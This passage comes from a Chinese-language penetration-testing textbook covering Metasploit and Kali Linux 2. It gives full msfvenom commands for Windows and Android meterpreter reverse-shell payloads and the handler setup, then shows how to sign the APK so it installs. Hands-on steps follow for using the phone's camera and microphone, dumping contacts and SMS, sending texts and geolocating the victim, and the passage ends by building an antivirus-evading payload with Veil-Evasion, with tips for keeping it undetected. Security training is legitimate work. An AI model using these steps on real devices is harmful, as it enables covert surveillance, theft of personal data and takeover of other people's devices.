该命令执行的结果如图6-12所示：
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图6-12　msfvenom支持的payload输出格式
 
这里面就包含了我们在Windows操作系统下最为常见的exe和dll格式。我们将生成的文件保存到指定的位置，可以使用-o参数。
 
现在我们再来查看开始时使用Msfvenom生成Payload的那条命令：
 
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.169.130 lport=5000 -f exe -o /root/payload.exe
 
这样是不是就清楚多了，该命令的全部参数及其含义如下：
 
Options:
-p, --payload            <payload>指定要生成的payload(攻击荷载)。
-l, --list    [type]列出一个模块类型，模块类型包括: payloads, encoders, nops, all
-n, --nopsled    <length>为payload生成数量为n的NOP指令
-f, --format     <format>指定输出格式 (可以使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder    [encoder]       指定需要使用的编码器
-a, --arch    <architecture>指定payload的目标架构
--platform       <platform>指定payload的目标平台
-s, --space    <length>设定有效攻击荷载的最大长度
-b, --bad-chars    <list>设定坏字符集，比如: '\x00\xff'
-i, --iterations    <count>指定对payload的编码次数
-c, --add-code    <path>指定一个附加的win32 shellcode文件
-x, --template    <path>指定一个自定义的可执行文件作为模板
-k, --keep    保护模板程序的动作，注入的payload作为一个新的进程运行
--payload-options    列举payload的标准选项
-o, --out    <path>指定存储payload的位置
-v, --var-name    <name>指定一个自定义的变量，以确定输出格式
--smallest    生成最小的payload
-h, --help    查看帮助选项
--help-formats    查看msf支持的输出格式列表
 
6.5.1　在Android操作系统下使用Meterpreter
 
之前我们使用Msfvenom命令生成了一个可以在Windows下执行的Meterpreter。Meterpreter的功能极为强大，所以接下来我们要详细地来介绍Meterpreter的使用方法。鉴于现在Android操作系统越来越普及，使用程度已经超越了Windows操作系统，所以我们先从Android操作系统开始。
 
对Android操作系统进行远程控制的方法和我们之前介绍的一样，也需要生成一个主控端和一个被控端，这个被控端我们选择使用Payload（就是一段可以在目标计算机上执行的代码），不同的Payload执行之后为我们提供的控制权限并不相同，其中一部分就可以提供Meterpreter的控制权限。我们先来查看一下如何生成一个可以在Android中执行的Payload。
 
生成一个被控端必须要考虑的只有4点：选用哪个Payload，设置Payload的参数，输出Payload格式，输出Payload的位置。
 
首先查找一下Metasploit中可以在Android下运行的Meterpreter：
 
root@kali:~# msfvenom -l payloads
 
执行命令之后，可以看到所有可以运行的Payload，如图6-13所示。
 
[image: 图片 5]
 
图6-13　可以在Android平台下运行的payload
 
这里面一共有9个可以运行在Android操作系统下的被控端程序，其中前面的6个是采用Meterpreter进行控制，后面的3个是采用普通的命令行Shell进行控制。我们现在以android/meterperter/reverse_tcp为例作为实例来演示使用方法。
 
root# msfvenom –p windows/meterpreter/reverse_tcp --payload-options
 
执行之后可以看到这个被控端需要的参数如图6-14所示。
 
[image: 图片 6]
 
图6-14　显示Payload的参数
 
必要的参数只有一个IP地址，也就是当这个被控端运行之后，要去联系的主控端的IP地址。这次我们就使用Kali Linux 2计算机IP作为这个参数的值。端口使用的是9999。这里我是在VMware虚拟机中使用Kali Linux 2，联网模式要修改为桥接。测试用的手机与我的计算机连接在同一无线局域网环境中，IP地址由无线路由器分配。
 
目前实验用的网络环境如下。
 
 
 	测试用Android系统的手机：192.168.1.102
 
 	虚拟机Kali Linux 2：192.168.1.103
 
 	无线路由器：192.168.1.1
 

 
关于输出的格式，这里有一点问题，在msfvenom命令中默认并没有apk这种可以直接在Android操作系统执行的文件格式，但是前面的android/meterperter/reverse_tcp却表明这是一个可以在Android下运行的payload，我们可以采用之前的一个保持文件原始格式的参数“R>”（这个参数也没有在msfvenom的帮助中出现），使用这个参数就无需再使用-f指定输出格式，也无需使用-o来指定输出位置。
 
最后确定要输出在Android平台下被控端的命令如下：
 
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp  lhost=192.168.1.10 lport=9999 R>/root/pentest.apk
 
这条命令执行之后，就会在ROOT目录下生成一个名为pentest.apk的文件，如图6-15所示。
 
[image: 图片 11]
 
图6-15　生成的pentest.apk文件
 
然后我们建立一个主控端：
 
首先启动Metasploit，打开一个命令行执行msfconsole，即：
 
root@kali:~# msfconsole
 
然后在打开的Metasploit中执行以下命令，这里面的主控端其实是一个Handler，这个Handler中需要3个参数，一个参数是所使用的Payload，一个参数是该Payload所使用的IP地址，最后一个参数是该Payload所使用的端口，这3个参数都需要和被控端设置的一样才行：
 
msf> use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.103
lhost => 192.168.1.103
msf exploit(handler) > set lport 9999
lport => 9999
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.1.103:5000
[*] Starting the payload handler...
 
下面我们把这个pentest.apk文件放置到手机中安装，安装完毕的界面如图6-16所示。
 
[image: 说明: Screenshot_2017-08-18-16-54-59_com]
 
图6-16　安装完毕的pentest.apk界面
 
然后我们单击“打开”执行这个文件，然后返回到Kali Linux 2系统，这时就可以发现手机上打开了一个Meterpreter连接，如图6-17所示。
 
[image: 图片 5]
 
图6-17　打开的meterpreter控制
 
我们执行“help”命令，查看通过Meterpreter可以执行的命令。
 
meterpreter> help
 
这里面会列举出所有可以使用的命令，我们先来查看在Android中适用的功能，如图6-18所示。
 
[image: 图片 6]
 
图6-18　在Android系统下可以运行的功能
 
这里面Android系统较为适用的功能主要有两类，一类是Webcam，另一类是Android。Webcam类命令主要是与摄像头和录音有关的命令。
 
例如我们使用Webcam_list命令来列出当前主机上的所有摄像头。
 
meterpreter>Webcam_list
 
执行这条命令的结果如图6-19所示。
 
[image: 图片 8]
 
图6-19　列出目标可以使用的摄像头
 
我们可以利用摄像头进行录制视频和拍摄照片，首先使用后置摄像头（编号为1）来拍摄一张照片，执行的命令为：
 
meterpreter>Webcam_snap 1
 
执行的效果如图6-20所示。
 
[image: 图片 9]
 
图6-20　控制目标摄像头进行拍照
 
拍摄的照片以ikKIvOoZ.jpeg为名保存在了root目录下，打开可以看到如图6-21所示的照片。
 
[image: 图片 10]
 
图6-21　控制目标拍摄的照片
 
接下来，我们来查看录制视频功能，执行的命令为：
 
meterpreter>Webcam_stream 1
 
这个命令执行后就会启动后置摄像头，如图6-22所示。
 
[image: 图片 14]
 
图6-22　控制目标摄像头进行摄像
 
连接建立成功之后，在我们的Kali Linux 2会自动启动一个浏览器，拍摄的视频会在浏览器中显示，如图6-23所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\63a1adb4\Screenshot from 2017-08-19 22-14-42.png]
 
图6-23　在浏览器中打开拍摄到的视频
 
record_mic命令和Webcam_snap命令的使用方法一样，会启动目标手机上的录音机，然后将录音文件保存起来。
 
下面我们来看看Android分类下可用的命令。首先我们可以查看目标手机是否已经执行过root操作：
 
meterpreter>check_root
 
执行命令以及命令的结果如图6-24所示。
 
[image: 图片 16]
 
图6-24　检查目标主机是否已经获得root权限
 
一般我们获取了目标手机的控制权，都会对哪些内容感兴趣呢？无非是通讯录、短信等，那么我们试着来导出目标手机的电话本。
 
meterpreter>dump_contacts
 
该命令执行之后的结果如图6-25所示。
 
[image: 图片 17]
 
图6-25　导出目标手机的电话本
 
该通信录成功地保存在了dump_20170819223602中。接下来，我们试着来下载目标手机的短信记录。
 
meterpreter>dump_sms
 
该命令执行之后的结果如图6-26所示。
 
[image: 图片 3]
 
图6-26　导出目标手机的短信
 
所有这些功能中最有趣的是send_sms，这个命令可以用被控制手机向外发送短信。
 
meterpreter>send_sms
 
下面给出了完整的该命令以及执行之后的效果，执行完毕后会向号码为18*******52的手机发送一条短信，如图6-27所示。
 
[image: 图片 5]
 
图6-27　控制目标手机向指定手机发送短信
 
Meterpreter中显示了该短信已经成功发送，很快目标手机（18*******52）收到了被控制手机发来的短信，如图6-28所示。
 
[image: 图片 18]
 
图6-28　指定手机收到的短信
 
另外也可以使用geolocate命令对目标进行地理定位。
 
meterpreter>geolocate
 
图6-29所示是定位的结果，这个结果提供的是经度和纬度。
 
[image: 图片 6]
 
图6-29　在浏览器中打开拍摄到1的视频
 
最后面给出的是目标在Google地图的位置，打开一个卫星地图输入对应的经纬度，得到的结果如图6-30所示。
 
[image: 图片 9]
 
图6-30　在浏览器中打开定位的地址
 
需要注意的是，这个定位与实际的位置存在一定的误差。
 
好了，到现在为止，我们已经介绍了Android下的Meterpreter功能。但是在这个过程中，你可能会遇见两个问题：第一个是如果你的虚拟机中采用了NAT模式，那么就可能会出现虚拟机与手机无法连接的问题；第二个是如果你的Kali版本较低的话，就可能会出现生成的Payload上没有签名从而无法在Android中安装的问题。如果你顺利地完成了上面的实验，那么就无需查看本节下面的内容了。下面给出了这两个问题的解决方法：
 
必要的参数只有一个IP地址，也就是当这个被控端运行之后，要去联系的主控端的IP地址。这次我们就使用Kali Linux 2计算机IP作为这个参数的值。端口使用默认的即可。这里我是在VMware虚拟机中使用Kali Linux 2，如果联网模式采用NAT的话，就会出现一个问题，在这里参数直接使用Kali Linux 2虚拟机地址的话，手机感染了被控端之后，是找不到Kali Linux 2虚拟机的（具体原因你可以参考NAT技术）。
 
所以我们在这里填写的应该是计算机的IP地址，然后使用端口映射技术，将我使用的计算机的端口映射到虚拟机中。现在的网络结构如下：
 
无线路由器地址：192.168.1.1
 
我使用的计算机的IP地址：192.168.1.100
 
手机的地址：192.168.1.*
 
虚拟机的Kali Linux 2：192.168.169.130
 
注意这里面payload的参数Lhost并不能设置为虚拟机的Kali Linux 2：192.168.169.130，因为这个地址采用了NAT技术，除了我使用的计算机之外，其他的任何设备都是看不到它的。所以该参数要设置成我使用的计算机的IP地址：192.168.1.100，端口可以任意选择一个，这里面我们以9999为例，然后再将这个端口映射到虚拟机Kali Linux 2的端口9999上即可。
 
端口映射的操作如下：
 
首先在VMware虚拟机菜单中选中编辑，然后在弹出的下拉菜单中选中虚拟网络编辑器，打开的界面如图6-31所示。
 
[image: 图片 7]
 
图6-31　VMware中的虚拟网络编辑器
 
在图6-31上方的虚拟网络列表中选中VMNET8，然后点击下方的“NAT设置”按钮。在弹出的窗口中，点击“添加”按钮，如图6-32所示。
 
[image: 图片 8]
 
图6-32　VMware中的NAT设置
 
在弹出的窗口中，填写需要映射的端口，如图6-33所示。
 
[image: 图片 9]
 
图6-33　VMware中的映射端口
 
然后单击“确定”，以后凡是发往我使用计算机上9999端口的流量都会转发到虚拟机的9999端口上。
 
但是这个apk还不能直接在Android主机上运行，因为现在的apk程序都需要一个签名，如果没有这个签名，或者签名不正确的话，这个程序都没办法执行，所以接下来我们要为这个apk创建一个签名。
 
创建签名需要使用Keytool、jar signer、zipalign这3个软件，Kali Linux 2中已经内置了其中前两个软件，最后一个软件zipalign需要安装。
 
root@kali:~# keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
 
之后我们需要输入密码、工作单位等信息，如图6-34所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\a4d4efee\Screenshot from 2017-08-18 03-01-41.png]
 
图6-34　使用keytool创建签名
 
接下来需要使用JARsigner为APK文件签名。
 
root@kali:~# jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore pentest.apk alias_name
 
执行的结果如图6-35所示。
 
[image: 图片 4]
 
图6-35　使用JARsigner进行签名
 
然后使用JARsigner验证签名。
 
root@kali:~# jarsigner -verify -verbose -certs pentest.apk
 
好了，到这里我们就完成了apk文件的签名过程。
 
6.5.2　Windows操作系统下Meterpreter的使用
 
接下来我们来看看在Windows下Meterpreter都能完成哪些任务。虽然现在随着移动设备的普及，Windows在操作系统的市场比重越来越小，但它在PC方面的优势是无法取代的。所以下面以Windows为例来介绍Meterpreter的详细用法，同样还是来生成一个被控端。
 
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.169.130 lport=5000 -f exe -o /root/payload.exe
 
然后启动一个主控端，第一步是要启动Metasploit：
 
root@kali:~#msfconsole
 
成功启动Metasploit之后：
 
msf> use exploit/multi/handler
msf exploit(handler) > set payload windows /meterpreter/reverse_tcp
payload =>windows /meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.169.130
lhost => 192.168.169.130
msf exploit(handler) > set lport5000
lport =>8888
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.169.130:5000
[*] Starting the payload handler...
 
我们将生成的payload复制到虚拟机Windows 7中，然后执行这个文件。在主控端就可以打开一个Meterpreter控制会话（session）。
 
[*] Sending stage (957487 bytes) to 192.168.169.131
[*] Meterpreter session 1 opened (192.168.169.130:8888 -> 192.168.169.131:49229) at 2017-08-21 04:10:09 -0400
meterpreter>
 
这时就会打开一个控制会话，很多时候我们需要使用Kali控制多个设备，这时就会创造多个会话，每一个会话对应一个连接，如果需要在这些会话之间进行切换的话，就可以使用sessions [id]的方式切换到指定会话。Meterpreter中支持的命令有很多，一共可以分成9个种类，分别为：
 
 
 	核心命令Core Commands
 
 	文件系统命令File System Commands
 
 	网络命令Networking Commands
 
 	系统命令System Commands
 
 	用户接口相关命令User Interface Commands
 
 	摄像头相关命令Webcam Commands
 
 	控制权限提升命令Elevate Commands
 
 	密码数据库命令Password database Commands
 
 	时间戳相关命令Timestomp Commands
 

 
其中核心命令包括：
 
bgkill             关闭一个后台的meterpreter脚本
bglist             列出所有正在运行的后台脚本
bgrun              将一个meterpreter脚本以后台线程模式运行
channel            显示或者控制一个活动频道
close              关闭一个频道
exit               终止meterpreter会话
get_timeouts        获得当前会话的timeout值
help                帮助菜单
info                显示Post模块的信息
irb                进入 Ruby 脚本模式
load                加载meterpreter扩展
migrate            将会话迁移到一个指定PID的进程
quit                结束meterpreter会话
read                从频道中读取数据
resource            运行文件中的命令
run                执行一个meterpreter脚本或者Post模块
sessions            快速地切换到另一个会话
set_timeouts        设置当前会话的timeout 值
sleep              使Meterpreter 静默, 重新建立会话
use                与'load'相同，已过时
uuid                获得当前会话的UUID
write              将数据写入到一个频道l
 
这些命令中最为常用的有如下几条：
 
Sessions命令，当建立了多个会话的时候，就可以使用sessions命令来显示所有的会话。
 
msf exploit(handler) > sessions
Active sessions
===============
Id  Type                  Information                      Connection
--  ----                  -----------                      ----------
1meterpreter x86/windows  DH-CA8822AB9589\Administrator @ DH-CA8822AB9589  192.168.169.130:8888 -> 192.168.169.135:1082 (192.168.169.135)
 
backgroud命令，这条命令可以将当前会话切换到后台，这样我们就可以返回到上一级的模块控制处。
 
meterpreter> background
[*] Backgrounding session 1...
msf exploit(handler) >
 
返回到这里我们就可以完成很多在渗透模块中的操作，如果现在要切换回控制会话，可以使用“session -i编号n”命令就可以切换到编号n的会话处，例如我们现在要切换回对话1，就可以使用以下命令：
 
msf exploit(handler) > sessions -i1
[*] Starting interaction with 1...
meterpreter>
 
Migrate命令是一条十分有用的命令，可以将我们现在的Meterpreter迁移到一个指定的进程中，现在这个Meterpreter位于一个独立的进程或者一个可能随时被结束的进程中，我们可以使用这个命令将其转移到一个系统进程中。
 
load命令可以用来加载一个Meterpreter插件，可以使用load -l命令来查看所有可以加载的插件，如图6-36所示。
 
[image: 图片 3]
 
图6-36　查看所有可以加载的插件
 
Run命令可以用来执行一个Meterpreter后渗透测试脚本。
 
Exit命令用来退出当前Meterpreter控制会话。
 
下面我们来看看常用的文件系统命令，当在目标系统上取得了一个Meterpreter控制会话之后，我们就可以控制远程系统的文件了，一个是我们Kali Linux 2虚拟机（也就是本地主机），一个是被远程控制的主机。对文件进行操作的命令如下：
 
cat                读取并输出到标准输出文件的内容
cd                更改目录
checksum          重新计算文件的校验码
cp                将文件复制到指定位置
dir                列出文件
download          下载一个文件或者文件夹
edit              编辑文件
getlwd            打印本地目录
getwd             打印工作目录
lcd                更改本地目录
lpwd                打印本地目录
ls                列出当前目录中的文件
mkdir             创建一个目录
mv                从原地址移动到目的地址
pwd                打印工作目录
rm                删除指定文件
rmdir             删除指定目录
search            查找文件
show_mount        列出所有的驱动器
upload            上传一个文件或者目录
 
在meterpreter中默认操作的是远程的被控制端操作系统，上面的命令都可以使用，下面我们以实例来演示这些命令的使用方法。
 
首先来查看这台主机系统中都包含了哪些文件，可以使用“ls”命令，如图6-37所示。
 
[image: 图片 5]
 
图6-37　查看所有的文件
 
这里显示的系统当前的目录，在命令行中操作的话，只能在当前目录中进行。使用pwd命令就可以查看当前命令操作的目录。
 
meterpreter>pwd
 
如果需要对其他目录中的内容进行控制，需要切换到其他目录。这里面可以使用“cd”命令来切换，例如我们需要看看目标的C盘中都有哪些文件，就可以执行命令cd。
 
meterpreter>cd c:/
 
这样就将默认目录切换到了c盘。我们再执行ls命令显示的就是C盘中的所有内容，如图6-38所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\6515ef96\Screenshot from 2017-08-22 04-15-28.png]
 
图6-38　列出C盘所有的文件
 
如果我们要在目标系统中创建一个新的文件夹，可以使用命令“mkdir”，例如我们想要创建一个名为“Metasploit”的文件夹，就可以使用命令mkdir。
 
meterpreter>mkdir Metasploit
 
这样就可以在目标的C盘中创建一个名为“Metasploit”的文件夹。
 
“search”命令可以用来查找目标系统中感兴趣的文件，例如查找一个系统中的txt格式的文档，就可以执行search。
 
meterpreter> search -f *.txt
 
找到了感兴趣的文件，就可以将这个文件下载到自己的Kali Linux 2虚拟机上。下载所使用的命令为“download”。
 
这里我们只是对meterpreter的主要功能进行了介绍，如果你想对meterpreter进行进一步的深入了解，可以访问offensive security的主页https://www.offensive-security.com/ metasploit-unleashed/meterpreter-basics/来进行更深入的学习，也可以阅读我翻译过的《精通metasploit渗透测试》一书。
 
6.6　使用Veil-Evasion绕过杀毒软件
 
在大多数人们的心目中都会认为一个安装了杀毒软件的系统就是安全的。因为杀毒软件会清除掉所有对系统有害的程序。不幸的是，事实往往事与愿违。以前我在课堂上讲到远程控制时，就有学生曾经问道，系统只要安装一个杀毒软件就可以搞定所有的木马，我们现在还学习远程控制程序有什么用呢？是不是当我们只要在目标主机上一运行Payload，就立刻会被杀毒软件发现并被清除掉呢？
 
如果真的是这样的话，那么任何的Payload就都没有用途了。不过事实并非如此，接下来我们来介绍一些可以逃过杀毒软件查杀的方法。其实方法有很多，但是其中很多优秀的方法需要一些编译和汇编的知识，这里我们只介绍一种简单的而且可以躲过杀毒软件查杀的工具Veil。许多的杀毒软件都采用了模式匹配或者特征匹配的工作模式，如果一个程序中不存在病毒库中的特征码，那么杀毒软件就不会认为这是一个病毒文件。因此我们需要修改或者掩盖恶意软件的特征码，这样杀毒软件就很有可能不会阻止这个软件的运行。
 
6.6.1　Veil-Evasion的安装
 
在Kali Linux 2中并没有安装好Veil，所以我们需要手动安装。在终端中输入“apt-get install veil-evasion”命令并执行，如图6-39所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\fd365e01\Screenshot from 2017-06-21 03-57-15.png]
 
图6-39　在Kali Linux 2中安装Veil-evasion
 
当安装完成之后，就可以使用这个工具了。你可以在Applications里的第13个分类“Social Engineering Tools”的下拉菜单中找到veil-evasion，如图6-40所示。
 
[image: 图片 2]
 
图6-40　在Applications中启动veil-evasion
 
第一次启动这个程序的时候，会在命令窗口出现一个安装界面，这里我们选择y，它将会自动开始安装，如图6-41所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\f99810ed\Screenshot from 2017-06-21 20-20-39.png]
 
图6-41　为Veil-Evasion安装支持环境
 
Veil-Evasion的使用需要环境的支持，现在就开始安装相关的支持文件了（见图6-42）。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\7a1194f0\Screenshot from 2017-06-21 20-24-28.png]
 
图6-42　开始安装支持环境
 
Veill-Evasion的使用需要Python、pywin32、pycrypto和Ruby的支持，所以需要安装这4个软件。首先在这个时候会弹出一个Python安装的屏幕，单击“Next”按钮，如图6-43所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\25673e4d\Screenshot from 2017-06-21 20-27-11.png]
 
图6-43　安装Python2.7.5
 
在为Python选择安装目录的地方，保留默认设置，选择“Next”按钮即可，如图6-44所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\78189262\Screenshot from 2017-06-21 20-28-53.png]
 
图6-44　选择安装目录
 
如果之前系统已经安装好了Python的话，系统这时会弹出一个提示窗口，询问是否覆盖，这里单击“NO”即可结束安装，否则跳过此步骤即可，如图6-45所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\2d6e26c6\Screenshot from 2017-06-21 20-30-56.png]
 
图6-45　是否覆盖安装窗口
 
在Python的组件选择中，保持默认设置即可，单击“Next”按钮，如图6-46所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\70918bc8\Screenshot from 2017-06-21 20-33-39.png]
 
图6-46　自定义安装
 
到此为止，单击安装屏幕上的“Finish”按钮，Python 2.7.5就安装到你的计算机上了，如图6-47所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\2fef21cc\Screenshot from 2017-06-21 20-35-49.png]
 
图6-47　安装完成
 
接下来，安装脚本会继续安装pywin32，这是一个用来访问Windows系统API的库。这个工具的安装过程也很简单，你只需一步步地单击“Next”按钮即可，如图6-48所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\f19b0875\Screenshot from 2017-06-21 20-41-50.png]
 
图6-48　pywin32的安装界面
 
接下来要选择安装目录，如图6-49所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\f3930e44\Screenshot from 2017-06-21 20-42-30.png]
 
图6-49　为pywin32选择安装目录
 
然后进入安装的过程，耐心等待即可，如图6-50所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\bc66953d\Screenshot from 2017-06-21 20-43-18.png]
 
图6-50　开始安装pywin32
 
当安装结束之后，就会弹出一个完成界面，如图6-51所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\e1993893\Screenshot from 2017-06-21 20-44-20.png]
 
图6-51　安装结束
 
单击“Finish”按钮，就完成了pywin32的安装过程。
 
安装脚本还要会安装pycrypto，这是一个专门用来加密解密的模块。安装方法和pywin32一样，一直单击“Next”按钮，直到“Finish”按钮出现即可，如图6-52所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\f39a0e53\Screenshot from 2017-06-21 20-50-38.png]
 
图6-52　pycrypto-2.6的安装
 
接下来，系统会安装Ruby环境。首先会让我们选择一个使用的语言，这里选择默认的“English”即可，如图6-53所示。
 
[image: ]
 
图6-53　为pycrypto选择语言
 
接下来就会开始Ruby的安装。首先是Ruby的使用许可，选择“接受”以后，单击“Next”按钮即可，如图6-54所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\3fec1184\Screenshot from 2017-06-21 21-00-03.png]
 
图6-54　开始安装Ruby
 
为Ruby选择安装目录，如图6-55所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\601bba3a\Screenshot from 2017-06-21 21-00-44.png]
 
图6-55　Ruby的目录安装
 
单击“Install”按钮之后，会开始安装过程，直到最后出现Finish界面为止，如图6-56所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\709b8bfa\Screenshot from 2017-06-21 21-03-16.png]
 
图6-56　安装Ruby完毕
 
现在我们就可以在终端窗口里中直接启动Veil-Evasion了，如图6-57所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\be659b1d\Screenshot from 2017-06-21 21-20-35.png]
 
图6-57　启动Veil-Evasion
 
6.6.2　Veil-Evasion的使用方法
 
打开Veil-Evasion后显示的是一个菜单驱动的程序，如图6-58所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\f11301e1\Screenshot from 2017-06-21 21-21-54.png]
 
图6-58　Veil-Evasion的常用命令
 
在这个程序中一共为我们提供了7条可以使用的命令和51个攻击载荷（Payload），我们首先使用list命令来查看系统中可以使用的攻击载荷，如图6-59所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\be6d9b09\Screenshot from 2017-06-21 21-25-26.png]
 
图6-59　Veil-Evasion中通过list命令查看payload
 
在这里我们选择一个用C语言编写的反向攻击载荷C/meterpreter/rev_tcp，如图6-60所示。这里它的序号是6。我们输入命令“use 6”。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\6208b4cb\Screenshot from 2017-06-21 21-41-42.png]
 
图6-60　载入C/meterpreter/rev_tcp模块
 
和之前的远程控制那一章中讲解的一样，我们需要设定LHOST、LPORT，设定的方法很简单，我们首先来设定LHOST和LPORT，如图6-61所示。
 
LHOST输入的命令为“set LHOST 192.168.169.128”
 
LPORT输入的命令为“set LPORT 5000”
 
[image: 图片 38]
 
图6-61　设置C/meterpreter/rev_tcp模块的参数
 
如果你想查看我们刚刚设置的信息，可以使用info命令，如图6-62所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\f188000c\Screenshot from 2017-06-21 21-57-32.png]
 
图6-62　查看C/meterpreter/rev_tcp模块的参数
 
接下来我们在图6-62中输入“generate”命令来产生一个攻击载荷，成功执行后，产生的攻击载荷设置界面，如图6-63所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\f3880684\Screenshot from 2017-06-21 22-01-04.png]
 
图6-63　为生成的设置C/meterpreter/rev_tcp模块起名
 
这里我们需要为攻击载荷提供一个名字，默认的话是payload，这里我将它改为Hello，然后执行。执行后的结果如图6-64所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\f30007bc\Screenshot from 2017-06-21 22-04-47.png]
 
图6-64　成功生成文件Hello.exe
 
现在已经成功生成了文件Hello.exe。那么我们现在生成的被控端文件是否可以绕过杀毒软件呢？我选择将生成的文件上传到http://www.virscan.org/上进行检查，这是一款集成了大量杀毒引擎的在线检查，如图6-65所示。
 
[image: 图片 48]
 
图6-65　集成了大量杀毒软件的在线网站
 
可以看到，根据virscan网站上的信息，大部分的杀毒软件（这里隐去了杀毒软件厂商的名称）还是不能发现这个Payload的，如图6-66所示。
 
[image: 图片 1]
 
图6-66　常见杀毒软件对Hello.exe的查杀结果
 
不过如果你希望使用这个Payload的话，最好不要将这个文件在这个网站中进行测试。一个更好的办法是在本地安装杀毒软件进行测试，这是因为在线杀毒网站会将你的Payload提交到各大杀毒软件厂商，很快这些Payload就会被添加到新的病毒库中了。
 
6.7　小结
 
在这一章中我们开始了渗透测试的一个新的阶段，在完成了对目标信息的收集之后，终于可以对目标进行正式的渗透了。在本章最开始的时候，我们介绍了https://www. exploit-db.com/网站，在这个网站你可以找到这个世界上大多数漏洞的渗透模块，而且这些模块可以直接运行。接着讲解了如何生成远程控制程序，并以Android和Windows作为目标平台，通过实例介绍了Metasploit框架中提供的优秀工具Meterpreter。这个Meterpreter的功能极为强大。在本章的最后，我们介绍了如何产生一个可以不被杀毒软件查杀的方法。
 
从下一章开始，我们将会详细地介绍漏洞渗透模块的使用和开发。
 


第7章　渗透攻击
 
在古希腊神话中有一位著名的英雄——阿克琉斯。他是特洛伊战争中最伟大的希腊英雄，由于全身都被冥河之水浸泡过，所以阿克琉斯几乎全身刀枪不入，人间的武器都伤害不了他。但是他的脚踵却是唯一的弱点。最终，阿克琉斯被特洛伊王子帕里斯的箭矢射中脚踵而亡。
 
如果说目标系统上的漏洞就如同阿克琉斯的脚踵，那么漏洞渗透工具就是帕里斯手中的利箭。在上一章中，我们介绍了如何使用远程控制工具，而这一章中我们将会介绍如何将远程控制软件的被控端发送到目标主机上。而这个过程中最为神奇的方法就是对目标漏洞的利用。前面的章节中已经介绍了如何找出目标的漏洞，那么在发现了目标系统的漏洞之后，我们接下来的工作就是要利用漏洞渗透工具来给目标最关键的一击。而Metasploit则是目前相当优秀的一款渗透工具。
 
本章将围绕如下几点来开始对Metasploit的学习：
 
 
 	Metasploit的基础
 
 	Metasploit的基本命令
 
 	使用Metasploit对操作系统的攻击
 
 	使用Metasploit对应用程序的攻击
 
 	使用Metasploit对客户端发起攻击
 

 
7.1　Metasploit的基础
 
在以前没有漏洞渗透工具框架的时候，渗透测试者往往都需要自己收集漏洞渗透用代码，甚至需要自己编写针对漏洞用的代码。这个时期的渗透测试效率是比较低的，而且成为一个合格渗透测试者的学习成本也是相当高的。
 
2003年左右，美国的H.D Moore（世界著名的黑客）和Spoonm创建了一个集成了多个漏洞渗透工具的框架。随后，这个框架在2004年的世界黑客交流会（Black Hat Briefings）上备受关注，Spoonm在大会的演讲中提到，Metasploit的使用如此简单，以至于你只需要找到一个目标，单击几下鼠标左键就可以完成渗透，一切就和电影里面演的一样酷。
 
强大的功能再加上简单的操作使得Metasploit在安全行业迅速地传播开来，很快就成为业内最著名的工具。目前的Metasploit存在多个版本，其中既有适合企业使用的商业版本Metasploit Pro，也有适合个人使用的免费版本Metasploit Community。
 
Kali Linux 2中默认安装好了Metasploit Community，所以本书的讲解将围绕这个版本展开。在Kali Linux 2中启动Metasploit的方法如图7-1所示。
 
另外还有两种快速启动Metasploit的方法。在左侧的快捷工具栏中可以单击Metasploit图标启动，如图7-2所示。
 
[image: 图片 2]
 
图7-1　在Apploications中启动Metasploit
 
[image: 图片 1]
 
图7-2　在快捷工具栏中启动Metasploit
 
也可以打开一个终端，然后在里面输入“msfconsole”。
 
root@kali:~# msfconsole
 
成功启动之后的Metasploit界面如图7-3所示。
 
